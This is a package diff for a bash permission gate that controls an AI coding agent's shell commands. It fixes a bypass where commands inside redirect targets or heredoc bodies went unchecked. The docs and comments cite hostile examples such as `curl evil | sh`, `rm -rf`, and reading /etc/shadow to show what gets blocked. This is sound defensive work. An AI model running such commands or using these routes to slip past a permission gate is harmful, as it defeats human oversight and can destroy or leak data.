@gotgenes/pi-permission-system 25.2.0 → 25.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +28 -0
- package/docs/configuration.md +10 -1
- package/package.json +1 -1
- package/src/access-intent/bash/command-enumeration.ts +31 -38
- package/src/access-intent/bash/nested-execution.ts +76 -0
- package/src/access-intent/bash/node-text.ts +7 -2
- package/src/access-intent/bash/token-collection.ts +47 -2
- package/src/authority/permission-prompter.ts +5 -3
- package/src/handlers/gates/bash-command.ts +23 -13
- package/src/handlers/gates/helpers.ts +29 -0
- package/src/handlers/gates/runner.ts +18 -8
- package/src/index.ts +8 -4
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,34 @@ All notable changes to this project will be documented in this file.
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
7
7
|
|
|
8
|
+
## [25.2.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.2.1...pi-permission-system-v25.2.2) (2026-08-15)
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
### Bug Fixes
|
|
12
|
+
|
|
13
|
+
* **pi-permission-system:** gate commands hosted in bash redirect targets ([1015bb8](https://github.com/gotgenes/pi-packages/commit/1015bb879234d1d96595b9f995ca88037588e16f)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
|
|
14
|
+
* **pi-permission-system:** gate commands hosted in interpolating heredoc bodies ([48978d2](https://github.com/gotgenes/pi-packages/commit/48978d2016c67aa90f291db55d98908ba930f0d1)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
|
|
15
|
+
* **pi-permission-system:** project path operands of heredoc-hosted nested commands ([8e2fbee](https://github.com/gotgenes/pi-packages/commit/8e2fbee404677d02c7cc565cf23d1e778994d5f0)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
|
|
16
|
+
* **pi-permission-system:** project path operands of redirect-hosted nested commands ([12164f3](https://github.com/gotgenes/pi-packages/commit/12164f3b61b6a4b50281d84b6d741a3736516991)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
### Documentation
|
|
20
|
+
|
|
21
|
+
* **pi-permission-system:** document hosted nested-command evaluation ([f24b338](https://github.com/gotgenes/pi-packages/commit/f24b338a42855f96038fdf2efdfe440cef8501c8)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
|
|
22
|
+
|
|
23
|
+
## [25.2.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.2.0...pi-permission-system-v25.2.1) (2026-08-15)
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
### Bug Fixes
|
|
27
|
+
|
|
28
|
+
* **pi-permission-system:** auto-approve residual synthetic asks under yolo ([e1706d3](https://github.com/gotgenes/pi-packages/commit/e1706d3ea6497e4ce32d715af6034aea7dd4d0fc))
|
|
29
|
+
* **pi-permission-system:** honor an explicit bash deny for an unparseable command ([2e45633](https://github.com/gotgenes/pi-packages/commit/2e45633fa000c9c67ed62acaaf571f50c45a0d88))
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
### Documentation
|
|
33
|
+
|
|
34
|
+
* **pi-permission-system:** describe the gate-level yolo grant ([8a8e4a7](https://github.com/gotgenes/pi-packages/commit/8a8e4a72bd52e37efef573ccf023e967206eaf1e)), closes [#712](https://github.com/gotgenes/pi-packages/issues/712)
|
|
35
|
+
|
|
8
36
|
## [25.2.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.1.0...pi-permission-system-v25.2.0) (2026-08-14)
|
|
9
37
|
|
|
10
38
|
|
package/docs/configuration.md
CHANGED
|
@@ -328,6 +328,11 @@ Quotes are respected (an operator inside `'…'` or `"…"` does not split the c
|
|
|
328
328
|
Commands nested inside command substitution (`$(…)`, backticks), process substitution (`<(…)`/`>(…)`), and subshells (`( … )`) are evaluated against the bash patterns too, in addition to their enclosing command — since those inner commands really execute.
|
|
329
329
|
So `echo $(rm -rf foo)` evaluates both `echo $(rm -rf foo)` and the inner `rm -rf foo`; if `rm *` is denied, the whole invocation is denied.
|
|
330
330
|
The deny reason and the approval prompt note the nested origin (e.g. `inside command substitution`).
|
|
331
|
+
|
|
332
|
+
This holds wherever the substitution appears, not only in argument position.
|
|
333
|
+
A substitution in a **redirect target** (`echo hi > $(rm *.txt)`, `cat < <(rm c)`, ``echo hi 2> `rm d` ``) and one in an **interpolating heredoc body** (`cat <<EOF` with `$(rm e)` in the body) are evaluated the same way.
|
|
334
|
+
A quoted heredoc delimiter (`<<'EOF'` or `<<"EOF"`) does not interpolate, so its body is literal text and nothing in it is evaluated as a command.
|
|
335
|
+
The enclosing command is still matched without its redirect, so a rule like `npm install` keeps matching `npm install > out.txt`.
|
|
331
336
|
Control-flow bodies (`if`/`while`/`for`/`case`) and `{ … }` brace groups are not descended into; their contents are matched as part of the enclosing statement's text.
|
|
332
337
|
|
|
333
338
|
A leading environment-variable assignment prefix is stripped before matching, so the rule gates the underlying command rather than the prefix.
|
|
@@ -394,13 +399,17 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
|
|
|
394
399
|
|
|
395
400
|
- If the permission gate throws an internal error (for example a transient tree-sitter parser-init failure), the tool call is **blocked** rather than passed ungated, and a `gate_error` entry is written to the review log naming the failure.
|
|
396
401
|
- A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
|
|
402
|
+
A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
|
|
397
403
|
An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
|
|
398
404
|
- An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
|
|
399
405
|
An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
|
|
400
406
|
So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
|
|
401
407
|
- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
|
|
402
408
|
So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
|
|
403
|
-
As with the opaque floor,
|
|
409
|
+
As with the opaque floor, no rule can auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
|
|
410
|
+
|
|
411
|
+
Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
|
|
412
|
+
An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
|
|
404
413
|
|
|
405
414
|
Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
|
|
406
415
|
A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
|
package/package.json
CHANGED
|
@@ -1,3 +1,7 @@
|
|
|
1
|
+
import {
|
|
2
|
+
EXECUTION_HOST_TYPES,
|
|
3
|
+
forEachNestedExecution,
|
|
4
|
+
} from "#src/access-intent/bash/nested-execution";
|
|
1
5
|
import type { TSNode } from "#src/access-intent/bash/parser";
|
|
2
6
|
import type { BashCommandContext } from "#src/types";
|
|
3
7
|
|
|
@@ -49,32 +53,19 @@ const COMMAND_ENUM_DESCEND = new Set([
|
|
|
49
53
|
]);
|
|
50
54
|
|
|
51
55
|
/**
|
|
52
|
-
* Named node types
|
|
53
|
-
*
|
|
56
|
+
* Named node types abandoned during command enumeration: they are neither
|
|
57
|
+
* commands nor able to host one, so nothing in their subtree ever runs.
|
|
58
|
+
*
|
|
59
|
+
* A redirect and a heredoc body are deliberately NOT listed here. Neither is a
|
|
60
|
+
* command, but each can host a substitution that really executes, so both are
|
|
61
|
+
* {@link EXECUTION_HOST_TYPES} members instead — conflating the two questions
|
|
62
|
+
* ("is this a command?" and "can this host one?") is the bypass #741 fixed.
|
|
63
|
+
*
|
|
54
64
|
* Anonymous tokens (chain operators `&&`/`;`/`|`, substitution and subshell
|
|
55
65
|
* delimiters `$(`/`)`/`` ` ``/`(`) are filtered by the `isNamed` guard, not
|
|
56
66
|
* listed here.
|
|
57
67
|
*/
|
|
58
|
-
const COMMAND_ENUM_SKIP = new Set([
|
|
59
|
-
"file_redirect",
|
|
60
|
-
"heredoc_redirect",
|
|
61
|
-
"herestring_redirect",
|
|
62
|
-
"comment",
|
|
63
|
-
"heredoc_body",
|
|
64
|
-
"heredoc_end",
|
|
65
|
-
]);
|
|
66
|
-
|
|
67
|
-
/**
|
|
68
|
-
* Nested execution contexts whose interior commands really execute and must be
|
|
69
|
-
* evaluated too: command substitution (`$(…)`, backticks) and process
|
|
70
|
-
* substitution (`<(…)`/`>(…)`).
|
|
71
|
-
* Subshells (`( … )`) are handled separately because they are also emitted
|
|
72
|
-
* whole.
|
|
73
|
-
*/
|
|
74
|
-
const NESTED_EXECUTION_CONTEXTS = new Map<string, BashCommandContext>([
|
|
75
|
-
["command_substitution", "command_substitution"],
|
|
76
|
-
["process_substitution", "process_substitution"],
|
|
77
|
-
]);
|
|
68
|
+
const COMMAND_ENUM_SKIP = new Set(["comment", "heredoc_end"]);
|
|
78
69
|
|
|
79
70
|
/**
|
|
80
71
|
* Enumerate the command units of a bash program, in source order.
|
|
@@ -119,7 +110,14 @@ function collectCommandsInto(
|
|
|
119
110
|
);
|
|
120
111
|
// A command's text already contains any substitution; descend its subtree
|
|
121
112
|
// to ALSO emit the inner commands of command/process substitutions.
|
|
122
|
-
|
|
113
|
+
collectHostedCommands(node, out);
|
|
114
|
+
return;
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
if (EXECUTION_HOST_TYPES.has(node.type)) {
|
|
118
|
+
// Not a command itself, but its subtree can host one that really runs
|
|
119
|
+
// (`> $(rm x)`, `< <(rm c)`). Emit only what it hosts (#741).
|
|
120
|
+
collectHostedCommands(node, out);
|
|
123
121
|
return;
|
|
124
122
|
}
|
|
125
123
|
|
|
@@ -297,20 +295,15 @@ function descendCommandChildren(
|
|
|
297
295
|
}
|
|
298
296
|
|
|
299
297
|
/**
|
|
300
|
-
*
|
|
301
|
-
*
|
|
302
|
-
*
|
|
303
|
-
*
|
|
298
|
+
* Enumerate the commands of every nested execution context in a subtree, each
|
|
299
|
+
* tagged with the context it was found in.
|
|
300
|
+
*
|
|
301
|
+
* The traversal itself lives in `nested-execution.ts` so the bash path surface
|
|
302
|
+
* shares one definition of what counts as a nested execution (#741); this
|
|
303
|
+
* function supplies the command-surface interpretation of each one found.
|
|
304
304
|
*/
|
|
305
|
-
function
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
const nestedContext = NESTED_EXECUTION_CONTEXTS.get(child.type);
|
|
310
|
-
if (nestedContext) {
|
|
311
|
-
descendCommandChildren(child, nestedContext, out);
|
|
312
|
-
} else {
|
|
313
|
-
collectSubstitutionCommands(child, out);
|
|
314
|
-
}
|
|
315
|
-
}
|
|
305
|
+
function collectHostedCommands(node: TSNode, out: BashCommand[]): void {
|
|
306
|
+
forEachNestedExecution(node, (contextNode, context) => {
|
|
307
|
+
descendCommandChildren(contextNode, context, out);
|
|
308
|
+
});
|
|
316
309
|
}
|
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
import type { TSNode } from "#src/access-intent/bash/parser";
|
|
2
|
+
import type { BashCommandContext } from "#src/types";
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* AST node types whose interior commands really execute when the shell runs the
|
|
6
|
+
* program: command substitution (`$(…)`, backticks) and process substitution
|
|
7
|
+
* (`<(…)`/`>(…)`).
|
|
8
|
+
*
|
|
9
|
+
* Subshells (`( … )`) are deliberately absent — a subshell is also a command
|
|
10
|
+
* unit in its own right, so the command enumerator emits it whole and descends
|
|
11
|
+
* it separately rather than treating it as a pure nesting wrapper.
|
|
12
|
+
*
|
|
13
|
+
* This map is the single vocabulary shared by the bash command surface and the
|
|
14
|
+
* bash path surface, so the two cannot disagree about what counts as a nested
|
|
15
|
+
* execution (#741).
|
|
16
|
+
*/
|
|
17
|
+
export const NESTED_EXECUTION_CONTEXTS: ReadonlyMap<
|
|
18
|
+
string,
|
|
19
|
+
BashCommandContext
|
|
20
|
+
> = new Map([
|
|
21
|
+
["command_substitution", "command_substitution"],
|
|
22
|
+
["process_substitution", "process_substitution"],
|
|
23
|
+
] satisfies [string, BashCommandContext][]);
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* AST node types that are neither commands nor argument values themselves, but
|
|
27
|
+
* whose subtree can host a nested execution context that really runs.
|
|
28
|
+
*
|
|
29
|
+
* A redirect destination is the motivating case: tree-sitter-bash parses
|
|
30
|
+
* `echo hi > $(rm x)` with the `file_redirect` as a *sibling* of the `command`,
|
|
31
|
+
* so a consumer that abandons the redirect never sees the substitution inside
|
|
32
|
+
* it — the bypass #741 fixed.
|
|
33
|
+
*
|
|
34
|
+
* An interpolating heredoc body is the second case: `cat <<EOF` with `$(rm e)`
|
|
35
|
+
* in the body really runs `rm e`. Quoting needs no special handling here —
|
|
36
|
+
* tree-sitter-bash emits a `command_substitution` node under `heredoc_body`
|
|
37
|
+
* only for a bare `<<EOF`, never for `<<'EOF'` or `<<"EOF"`, so the parser
|
|
38
|
+
* already encodes the interpolation rule.
|
|
39
|
+
*
|
|
40
|
+
* Membership means "do not read this subtree's own text, but do descend it for
|
|
41
|
+
* executions"; each consumer keeps its own handling of the destination tokens.
|
|
42
|
+
*/
|
|
43
|
+
export const EXECUTION_HOST_TYPES: ReadonlySet<string> = new Set([
|
|
44
|
+
"file_redirect",
|
|
45
|
+
"heredoc_redirect",
|
|
46
|
+
"herestring_redirect",
|
|
47
|
+
"heredoc_body",
|
|
48
|
+
]);
|
|
49
|
+
|
|
50
|
+
/**
|
|
51
|
+
* Visit every nested execution context in `node`'s subtree, in source order.
|
|
52
|
+
*
|
|
53
|
+
* The walk does not descend *past* a context it finds: `visit` receives the
|
|
54
|
+
* context node itself and decides how to treat its interior (the command
|
|
55
|
+
* enumerator enumerates commands there; the path collector collects operand
|
|
56
|
+
* tokens), which keeps recursion policy with the consumer that understands it.
|
|
57
|
+
*
|
|
58
|
+
* A substitution can nest under `command_name` (when the whole command is
|
|
59
|
+
* `$(…)`), under an argument, inside a redirect destination, or inside an
|
|
60
|
+
* interpolating heredoc body, so the entire subtree is searched.
|
|
61
|
+
*/
|
|
62
|
+
export function forEachNestedExecution(
|
|
63
|
+
node: TSNode,
|
|
64
|
+
visit: (contextNode: TSNode, context: BashCommandContext) => void,
|
|
65
|
+
): void {
|
|
66
|
+
for (let i = 0; i < node.childCount; i++) {
|
|
67
|
+
const child = node.child(i);
|
|
68
|
+
if (!child) continue;
|
|
69
|
+
const context = NESTED_EXECUTION_CONTEXTS.get(child.type);
|
|
70
|
+
if (context) {
|
|
71
|
+
visit(child, context);
|
|
72
|
+
} else {
|
|
73
|
+
forEachNestedExecution(child, visit);
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
}
|
|
@@ -2,8 +2,13 @@ import type { TSNode } from "#src/access-intent/bash/parser";
|
|
|
2
2
|
import { resolvePlainVariableExpansion } from "#src/access-intent/bash/shell-variable-expansion";
|
|
3
3
|
|
|
4
4
|
/**
|
|
5
|
-
* Node types whose
|
|
6
|
-
*
|
|
5
|
+
* Node types whose text content is never a command argument, so no path
|
|
6
|
+
* candidate is ever read from it.
|
|
7
|
+
*
|
|
8
|
+
* This governs the subtree's *text*, not whether it is visited at all: an
|
|
9
|
+
* interpolating `heredoc_body` is also an execution host, so it is still
|
|
10
|
+
* descended for the commands it runs while its prose stays out of the path
|
|
11
|
+
* surface (#741). See `EXECUTION_HOST_TYPES` in `nested-execution.ts`.
|
|
7
12
|
*/
|
|
8
13
|
export const SKIP_SUBTREE_TYPES = new Set([
|
|
9
14
|
"heredoc_body",
|
|
@@ -1,4 +1,9 @@
|
|
|
1
1
|
import { basename } from "node:path";
|
|
2
|
+
import {
|
|
3
|
+
EXECUTION_HOST_TYPES,
|
|
4
|
+
forEachNestedExecution,
|
|
5
|
+
NESTED_EXECUTION_CONTEXTS,
|
|
6
|
+
} from "#src/access-intent/bash/nested-execution";
|
|
2
7
|
import {
|
|
3
8
|
ARG_NODE_TYPES,
|
|
4
9
|
resolveNodeText,
|
|
@@ -12,7 +17,12 @@ import type { TSNode } from "#src/access-intent/bash/parser";
|
|
|
12
17
|
* Recursively visit the AST and collect resolved text of nodes that
|
|
13
18
|
* represent command arguments or redirect destinations.
|
|
14
19
|
*
|
|
15
|
-
*
|
|
20
|
+
* Reads no text from `heredoc_body`, `heredoc_end`, or `comment` subtrees, but
|
|
21
|
+
* still descends an execution host for the commands it hosts — an interpolating
|
|
22
|
+
* heredoc body runs its substitution even though its prose is never an operand
|
|
23
|
+
* (#741). That is why the {@link EXECUTION_HOST_TYPES} branch sits above the
|
|
24
|
+
* {@link SKIP_SUBTREE_TYPES} check: `heredoc_body` is in both sets, and the
|
|
25
|
+
* host reading is the one that must win.
|
|
16
26
|
*
|
|
17
27
|
* For commands in `PATTERN_FIRST_COMMANDS`, uses position-based
|
|
18
28
|
* argument skipping to avoid collecting inline patterns/scripts
|
|
@@ -20,9 +30,12 @@ import type { TSNode } from "#src/access-intent/bash/parser";
|
|
|
20
30
|
* arguments generically.
|
|
21
31
|
*/
|
|
22
32
|
export function collectPathCandidateTokens(node: TSNode): string[] {
|
|
23
|
-
if (SKIP_SUBTREE_TYPES.has(node.type)) return [];
|
|
24
33
|
if (node.type === "command") return collectCommandTokens(node);
|
|
25
34
|
if (node.type === "file_redirect") return collectRedirectTokens(node);
|
|
35
|
+
if (EXECUTION_HOST_TYPES.has(node.type)) {
|
|
36
|
+
return collectHostedExecutionTokens(node);
|
|
37
|
+
}
|
|
38
|
+
if (SKIP_SUBTREE_TYPES.has(node.type)) return [];
|
|
26
39
|
|
|
27
40
|
const tokens: string[] = [];
|
|
28
41
|
for (let i = 0; i < node.childCount; i++) {
|
|
@@ -50,6 +63,15 @@ export function collectCommandTokens(node: TSNode): string[] {
|
|
|
50
63
|
|
|
51
64
|
/**
|
|
52
65
|
* Collect redirect-destination tokens from a `file_redirect` node.
|
|
66
|
+
*
|
|
67
|
+
* The destination itself is an argument value (`> out.txt`), but it can also
|
|
68
|
+
* host a command that really runs (`> $(cat /etc/shadow)`, `< <(cmd)`), whose
|
|
69
|
+
* own operands are path candidates too — so each child is both read for its
|
|
70
|
+
* text and searched for nested executions (#741).
|
|
71
|
+
*
|
|
72
|
+
* Both passes are needed: a substitution can be the destination outright, or be
|
|
73
|
+
* concatenated into it (`> ${DIR}/$(cmd)`), and a `concatenation` is itself an
|
|
74
|
+
* argument node.
|
|
53
75
|
*/
|
|
54
76
|
export function collectRedirectTokens(node: TSNode): string[] {
|
|
55
77
|
const tokens: string[] = [];
|
|
@@ -59,10 +81,33 @@ export function collectRedirectTokens(node: TSNode): string[] {
|
|
|
59
81
|
if (ARG_NODE_TYPES.has(child.type)) {
|
|
60
82
|
tokens.push(resolveNodeText(child));
|
|
61
83
|
}
|
|
84
|
+
tokens.push(...collectHostedExecutionTokens(child));
|
|
62
85
|
}
|
|
63
86
|
return tokens;
|
|
64
87
|
}
|
|
65
88
|
|
|
89
|
+
/**
|
|
90
|
+
* Collect the path-candidate tokens of every command nested inside `node`'s
|
|
91
|
+
* execution contexts, reading none of the host subtree's own text.
|
|
92
|
+
*
|
|
93
|
+
* This is what lets a heredoc body contribute its substitution's operands while
|
|
94
|
+
* its prose stays out of the path surface entirely.
|
|
95
|
+
*
|
|
96
|
+
* `node` may be a context outright (`> $(cmd)`) or merely contain one
|
|
97
|
+
* (`> ${DIR}/$(cmd)`); `forEachNestedExecution` searches strictly within a
|
|
98
|
+
* subtree, so the first case is checked here.
|
|
99
|
+
*/
|
|
100
|
+
function collectHostedExecutionTokens(node: TSNode): string[] {
|
|
101
|
+
if (NESTED_EXECUTION_CONTEXTS.has(node.type)) {
|
|
102
|
+
return collectPathCandidateTokens(node);
|
|
103
|
+
}
|
|
104
|
+
const tokens: string[] = [];
|
|
105
|
+
forEachNestedExecution(node, (contextNode) => {
|
|
106
|
+
tokens.push(...collectPathCandidateTokens(contextNode));
|
|
107
|
+
});
|
|
108
|
+
return tokens;
|
|
109
|
+
}
|
|
110
|
+
|
|
66
111
|
/**
|
|
67
112
|
* Extract the command name from a `command` node.
|
|
68
113
|
* Returns the basename (e.g. `/usr/bin/sed` → `sed`), or undefined
|
|
@@ -94,9 +94,11 @@ export interface PermissionPrompterDeps {
|
|
|
94
94
|
* `ParentAuthorizer`, `DenyingAuthorizer`) — this class no longer threads
|
|
95
95
|
* `ExtensionContext` per call.
|
|
96
96
|
*
|
|
97
|
-
* Yolo-mode auto-approval happens upstream
|
|
98
|
-
* (`PermissionManager.check`'s `rewriteAsksToYolo`)
|
|
99
|
-
*
|
|
97
|
+
* Yolo-mode auto-approval happens upstream: at the composition stage
|
|
98
|
+
* (`PermissionManager.check`'s `rewriteAsksToYolo`) for a rule-driven ask, and
|
|
99
|
+
* at `GateRunner`'s auto-approve fast path (`resolveYoloGrant`) for an ask
|
|
100
|
+
* synthesized after resolution, which no rule rewrite can reach (#712) — an
|
|
101
|
+
* `ask` never reaches this class under yolo, so it has no yolo-mode knowledge.
|
|
100
102
|
*/
|
|
101
103
|
export class PermissionPrompter implements PermissionPrompterApi {
|
|
102
104
|
constructor(private readonly deps: PermissionPrompterDeps) {}
|
|
@@ -36,7 +36,9 @@ import type { PermissionCheckResult } from "#src/types";
|
|
|
36
36
|
* to zero command units (a parse anomaly or an opaque program) fails closed to
|
|
37
37
|
* a synthetic `ask` so a permissive top-level `*` cannot silently allow an
|
|
38
38
|
* unparseable command (e.g. `cd /repo && git push` riding a top-level allow on
|
|
39
|
-
* the empty-parse path) — #452.
|
|
39
|
+
* the empty-parse path) — #452. The whole command is still resolved first so an
|
|
40
|
+
* explicit `deny` covering it denies outright rather than being masked into an
|
|
41
|
+
* approvable prompt (#712).
|
|
40
42
|
*
|
|
41
43
|
* Pure and synchronous: the (async, tree-sitter) parse happens once in the
|
|
42
44
|
* handler, which passes the decomposed `commands` here.
|
|
@@ -58,12 +60,11 @@ export function resolveBashCommandCheck(
|
|
|
58
60
|
): PermissionCheckResult {
|
|
59
61
|
if (commands.length === 0) {
|
|
60
62
|
if (isTriviallyEmptyCommand(command)) {
|
|
61
|
-
return resolver
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
});
|
|
63
|
+
return resolveWholeCommand(command, agentName, resolver);
|
|
64
|
+
}
|
|
65
|
+
const whole = resolveWholeCommand(command, agentName, resolver);
|
|
66
|
+
if (whole.state === "deny") {
|
|
67
|
+
return whole;
|
|
67
68
|
}
|
|
68
69
|
return {
|
|
69
70
|
state: "ask",
|
|
@@ -94,12 +95,7 @@ export function resolveBashCommandCheck(
|
|
|
94
95
|
});
|
|
95
96
|
return (
|
|
96
97
|
pickMostRestrictive(results) ??
|
|
97
|
-
resolver
|
|
98
|
-
kind: "tool",
|
|
99
|
-
surface: "bash",
|
|
100
|
-
input: { command },
|
|
101
|
-
agentName,
|
|
102
|
-
})
|
|
98
|
+
resolveWholeCommand(command, agentName, resolver)
|
|
103
99
|
);
|
|
104
100
|
}
|
|
105
101
|
|
|
@@ -116,3 +112,17 @@ function isTriviallyEmptyCommand(command: string): boolean {
|
|
|
116
112
|
.filter((line) => line.length > 0);
|
|
117
113
|
return lines.every((line) => line.startsWith("#"));
|
|
118
114
|
}
|
|
115
|
+
|
|
116
|
+
/** Resolve the whole command string as a single unit on the `bash` surface. */
|
|
117
|
+
function resolveWholeCommand(
|
|
118
|
+
command: string,
|
|
119
|
+
agentName: string | undefined,
|
|
120
|
+
resolver: ScopedPermissionResolver,
|
|
121
|
+
): PermissionCheckResult {
|
|
122
|
+
return resolver.resolve({
|
|
123
|
+
kind: "tool",
|
|
124
|
+
surface: "bash",
|
|
125
|
+
input: { command },
|
|
126
|
+
agentName,
|
|
127
|
+
});
|
|
128
|
+
}
|
|
@@ -113,3 +113,32 @@ export function deriveResolution(
|
|
|
113
113
|
}
|
|
114
114
|
return confirmationUnavailable ? "confirmation_unavailable" : "user_denied";
|
|
115
115
|
}
|
|
116
|
+
|
|
117
|
+
/**
|
|
118
|
+
* The standing yolo grant covering a gate's resolved check, or `null` when
|
|
119
|
+
* yolo does not answer it.
|
|
120
|
+
*
|
|
121
|
+
* yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
|
|
122
|
+
* rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
|
|
123
|
+
* first arm recognizes that grant. The second arm covers an `ask` synthesized
|
|
124
|
+
* *after* resolution — the bash wrapper floor (#481, #490) and the fail-closed
|
|
125
|
+
* `<unparseable-bash-command>` sentinel (#452) — which the ruleset rewrite
|
|
126
|
+
* cannot reach because the floor is a property of a parsed command unit, not of
|
|
127
|
+
* a pattern (#712). The synthetic `matchedPattern` is preserved so the review
|
|
128
|
+
* log still shows why the ask was raised, while `origin: "yolo"` records why it
|
|
129
|
+
* was granted.
|
|
130
|
+
*
|
|
131
|
+
* A `deny` matches neither arm, so an explicit deny survives yolo.
|
|
132
|
+
*/
|
|
133
|
+
export function resolveYoloGrant(
|
|
134
|
+
check: PermissionCheckResult,
|
|
135
|
+
yoloEnabled: boolean,
|
|
136
|
+
): PermissionCheckResult | null {
|
|
137
|
+
if (check.state === "allow" && check.origin === "yolo") {
|
|
138
|
+
return check;
|
|
139
|
+
}
|
|
140
|
+
if (check.state === "ask" && yoloEnabled) {
|
|
141
|
+
return { ...check, state: "allow", origin: "yolo" };
|
|
142
|
+
}
|
|
143
|
+
return null;
|
|
144
|
+
}
|
|
@@ -12,7 +12,11 @@ import type { SessionApprovalRecorder } from "#src/session-approval-recorder";
|
|
|
12
12
|
import type { PermissionCheckResult } from "#src/types";
|
|
13
13
|
import type { GateDescriptor, GateResult } from "./descriptor";
|
|
14
14
|
import { isGateBypass } from "./descriptor";
|
|
15
|
-
import {
|
|
15
|
+
import {
|
|
16
|
+
buildDecisionEvent,
|
|
17
|
+
deriveResolution,
|
|
18
|
+
resolveYoloGrant,
|
|
19
|
+
} from "./helpers";
|
|
16
20
|
import type { GateOutcome } from "./types";
|
|
17
21
|
|
|
18
22
|
// ── GateRunner class ───────────────────────────────────────────────────────
|
|
@@ -32,6 +36,11 @@ export class GateRunner {
|
|
|
32
36
|
private readonly recorder: SessionApprovalRecorder,
|
|
33
37
|
private readonly prompter: AskEscalator,
|
|
34
38
|
private readonly reporter: DecisionReporter,
|
|
39
|
+
/**
|
|
40
|
+
* Live yolo reader, read per gate so a mid-session config change takes
|
|
41
|
+
* effect — the same closure `PermissionManager` receives.
|
|
42
|
+
*/
|
|
43
|
+
private readonly isYoloEnabled: () => boolean,
|
|
35
44
|
) {}
|
|
36
45
|
|
|
37
46
|
/**
|
|
@@ -105,11 +114,12 @@ export class GateRunner {
|
|
|
105
114
|
return { action: "allow" };
|
|
106
115
|
}
|
|
107
116
|
|
|
108
|
-
// 2b. Yolo fast-path —
|
|
109
|
-
//
|
|
110
|
-
//
|
|
111
|
-
// so
|
|
112
|
-
|
|
117
|
+
// 2b. Yolo fast-path — the composition-stage ask→allow rewrite (origin
|
|
118
|
+
// "yolo" on the matched rule, #526) or, under yolo, an ask synthesized
|
|
119
|
+
// after resolution (#712). Auto-approve without prompting, preserving the
|
|
120
|
+
// single auto_approved review entry + decision event so log parity holds.
|
|
121
|
+
const yoloGrant = resolveYoloGrant(check, this.isYoloEnabled());
|
|
122
|
+
if (yoloGrant) {
|
|
113
123
|
this.reporter.writeReviewLog("permission_request.auto_approved", {
|
|
114
124
|
...descriptor.logContext,
|
|
115
125
|
agentName,
|
|
@@ -118,10 +128,10 @@ export class GateRunner {
|
|
|
118
128
|
this.reporter.emitDecision(
|
|
119
129
|
buildDecisionEvent(
|
|
120
130
|
descriptor.decision,
|
|
121
|
-
|
|
131
|
+
yoloGrant,
|
|
122
132
|
agentName,
|
|
123
133
|
"allow",
|
|
124
|
-
deriveResolution(
|
|
134
|
+
deriveResolution(yoloGrant.state, "allow", false, false, true),
|
|
125
135
|
),
|
|
126
136
|
);
|
|
127
137
|
return { action: "allow" };
|
package/src/index.ts
CHANGED
|
@@ -84,13 +84,16 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
|
|
|
84
84
|
// eslint-disable-next-line prefer-const -- forward-declared let; `const` requires an initializer
|
|
85
85
|
let session: PermissionSession;
|
|
86
86
|
|
|
87
|
-
//
|
|
88
|
-
//
|
|
89
|
-
//
|
|
87
|
+
// Declared after the `configStore` forward declaration so the reader can
|
|
88
|
+
// close over it; every call runs after configStore is assigned below. yolo is
|
|
89
|
+
// a composition-stage ask→allow rewrite (#526) that the gate runner extends
|
|
90
|
+
// to asks synthesized after resolution (#712), so both share this reader.
|
|
91
|
+
